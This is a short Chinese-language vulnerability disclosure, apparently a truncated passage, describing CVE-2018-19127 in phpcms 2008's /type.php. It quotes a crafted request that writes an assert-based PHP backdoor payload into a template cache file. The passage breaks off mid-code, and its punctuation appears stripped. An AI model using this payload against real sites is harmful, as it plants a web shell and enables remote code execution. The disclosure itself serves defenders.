phpcms-2008-CVE-2018-19127

phpcms-2008-CVE-2018-19127 最近我们在 phpcms 2008 源代码的 /type.php 中发现了一个漏洞。当攻击者发送特制请求如 "/type.php?template=tag;@unlinkFILE;assert$POST1;//../rss" 时，恶意内容（本例中为 "@unlinkFILE;assert$POST1;"）将被写入 phpcms 2008 网站的缓存文件（本例中为 "/cachetemplate/rss.tpl.php"）。 /type.php 中有以下代码： root@kitploit: ifempty$template...